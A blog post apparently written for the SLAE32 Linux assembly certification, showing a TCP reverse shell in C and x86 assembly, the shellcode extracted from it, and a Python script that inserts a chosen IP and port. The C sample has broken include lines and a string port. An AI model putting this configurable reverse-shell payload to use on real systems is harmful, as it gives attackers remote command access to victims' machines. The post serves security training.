SLAE32 - Assignment 2

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: https://www.pentesteracademy.com/course?id=3

Student ID: PA-15072

All associated code can be found here: https://github.com/pAP3R/public/tree/master/SLAE32/assignments

TCP_Reverse Shell

Requirements:
  • Connects to configured IP and port
  • Execs shell on successful connection
  • IP and port should be 'easily' configurable
As with the TCP Bind shell from assignment one, I decided the best bet was to write out a reverse shell in C. There's a million resources out there, and the code I came up with is as follows:
/* C reverse shell for SLAE */                     

#include <unistd .h="">
#include <netinet in.h="">
#include <sys socket.h="">
#include <sys types.h="">
#define rhost "127.0.0.1"
#define rport "4444"  
int main(int argc, char *argv[])                  
{                     
 int sock = socket(AF_INET, SOCK_STREAM, 0);
 struct sockaddr_in sa;                    
 sa.sin_family = AF_INET;                  
 sa.sin_port = htons(rport);               
 inet_pton(AF_INET, rhost, &amp;sa.sin_addr.s_addr);
 connect(sock, (struct sockaddr *)&amp;sa, sizeof(struct sockaddr_in));
 dup2(sock, 0);
 dup2(sock, 1);
 dup2(sock, 2);
 execve("/bin/sh", 0, 0);
}
I was a little surprised at first, it seemed to me that a reverse shell would be more complicated than a bind shell, but the above code was smaller (not just due to my bad programming) but overall it just needs to do less:
  1. Create a socket
  2. Call connect()
  3. Create the file descriptors
  4. Call execve()
Without much optimization, this shellcode weighs in at 87 bytes, pretty good for a noob. It also doesn't contain any null bytes.
; TCP Reverse Shell
; For SLAE
; Howard McGreehan

global _start
section .text

_start:
        ; int socketcall(int call, unsigned long *args)
        ; socketcall is syscall 102, or 0x66
        ; socket = 0x1
        xor eax, eax
        xor ebx, ebx
        mov al, 0x66

        ; int socket(int domain, int type, int protocol)
        push ebx
        push 0x1
        push 0x2

        ; set up args for socketcall
        mov ecx, esp
        inc bl
        int 0x80

        ; save the file descriptor returned by socket()
        mov edi, eax
connect:
        ; int socketcall(int call, unsigned long *args)
        ; Again, 0x66 for socketcall
        mov al, 0x66

        ; increase ebx to get 2 for AF_INET
        inc ebx

        ; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
        ; First, we need to create the sockaddr struct
        push 0x0101017f
        push word 0x5C11
        push word bx

        ; save the address of sockaddr
        mov esi, esp

        ; Now, let's push the addrlen (16)
        push 0x10

        ; Gotta push the sockaddr pointer now
        push esi

        ; Lastly, we need the socket file descriptor returned from
        push edi

        ; now, set up the right args for socketcall
        mov ecx, esp
        inc ebx
        int 0x80

        ; save the socketfd, zero and add two to ecx for dup2 loop
        xchg ebx, edi
        xor ecx, ecx
        mov cl, 0x2
dup:
        ; int dup2(int oldfd, int newfd)
        mov al, 63
        int 0x80
        dec ecx
        jns dup

shell:
        ; int execve(const char *pathname, char *const argv[], char *const envp[])
        ; Zero Out eax for first null (envp) and push to stack
        xor eax, eax
        push eax

        ; Now, push the string bin bash onto the stack for argv
        push 0x68736162
        push 0x2f6e6962
        push 0x2f2f2f2f

        ; Now, need filename
        ; EZ, pop into EBX
        mov ebx, esp
        push eax
        mov edx, esp
        push ebx
        mov ecx, esp
        
        ; Now, set up syscall
        mov al, 0xb
        int 0x80
Objdump output:
$ objdump -d ./reverse_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\xb0\x66\x53\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xcd\x80\x89\xc7\xb0\x66\x43\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x53\x89\xe6\x6a\x10\x56\x57\x89\xe1\x43\xcd\x80\x87\xdf\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
Plugging that into shellcode.c works as expected. The next step is creating a wrapper script, similar to the python portGen from Task 1, in order to configure the port and IP at will. I took the portGen.py code and modified it very slightly to add an additional method which converts a provided IP address into hexadecimal format. This is then plugged in to the same location the IP bytes normally go. Since IP addresses are defined with octets, each ranging from 0-255, we don't need to worry about size discrepancies at all.
#!/usr/bin/env python
import sys
import socket
import binascii

if len(sys.argv) < 3:
    print("[-] Provide a port (> 256) and IP address")
    sys.exit()
else:
    if int(sys.argv[1]) <= 256:
        print("[-] Port needs to be greater than 256 to guarantee sockaddr struct size is accurate and avoid null bytes.\n")
        print("If you require a lower port, consider changing the instructions in connect from:")
        print("\tpush 0x0101017f\n\tpush word 0x5C11\n\tpush word bx\n")
        print("to:")
        print("\txor ecx, ecx\n\tpush 0x0101017f\n\tsub esp, 2  ; stack alignment\n\tmov byte [esp], cl  ; null\n\tmov byte [esp], 0x65  ; port 100\n\tpush word 0x2\n")
        sys.exit()
    lport = int(sys.argv[1])
    ip = sys.argv[2]

def ip2Hex(ip):
        ipHex = ""
        for b in ip.split('.'):
                ipHex += "\\x%02x" % (int(b))
        return ipHex

def setPort(lport):
    p = hex(lport)[2:]
    psize = len(str(p))
    if psize == 1 or psize == 3:
        p = "0" + p
    psize = len(str(p))

    if psize == 2:
        fport = '\\x' + str(p)[0:2]
    else:
        fport = '\\x' + str(p)[0:2] + '\\x' + str(p)[2:4]

    if "\\x00" in fport:
        print("[!] Port conversion contains a null byte, I'm lazy, so choose another port maybe?")
        sys.exit()
    else:
        return fport

port = setPort(lport)
ipHex = ip2Hex(ip)

print("[+] Hex port: " + port)
print("[+] Hex ip: " + ipHex)

shellcode = ""
shellcode += "\\x31\\xc0\\x31\\xdb\\xb0\\x66\\x53\\x6a\\x01\\x6a"
shellcode += "\\x02\\x89\\xe1\\xfe\\xc3\\xcd\\x80\\x89\\xc7\\xb0"
shellcode += "\\x66\\x43\\x68"
shellcode += ipHex # IP
shellcode += "\\x66\\x68"
shellcode += port # PORT
shellcode += "\\x66\\x53\\x89\\xe6\\x6a\\x10\\x56\\x57\\x89"
shellcode += "\\xe1\\x43\\xcd\\x80\\x87\\xdf\\x31\\xc9\\xb1\\x02"
shellcode += "\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x31\\xc0\\x50"
shellcode += "\\x68\\x62\\x61\\x73\\x68\\x68\\x62\\x69\\x6e\\x2f"
shellcode += "\\x68\\x2f\\x2f\\x2f\\x2f\\x89\\xe3\\x50\\x89\\xe2"
shellcode += "\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80"

print("[+] Shellcode: \n" + shellcode)
Pretty slick!

Here's some sample output:
$ ./revshell_Config.py 4444 127.1.1.1
[+] Hex port: \x11\x5c
[+] Hex ip: \x7f\x01\x01\x01
[+] Shellcode:
\x31\xc0\x31\xdb\xb0\x66\x53\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xcd\x80\x89\xc7\xb0\x66\x43\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x53\x89\xe6\x6a\x10\x56\x57\x89\xe1\x43\xcd\x80\x87\xdf\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
The tool properly encodes the values for IP and port, shoves them into the shellcode and returns it in \x notation.

That's it for assignment two.

Comments

Popular posts from this blog

06 - How to maybe not be so bad at fuzzing, Part 2

07 - Just Another OSCE Review

05 - How to maybe not be so bad at fuzzing, Part 1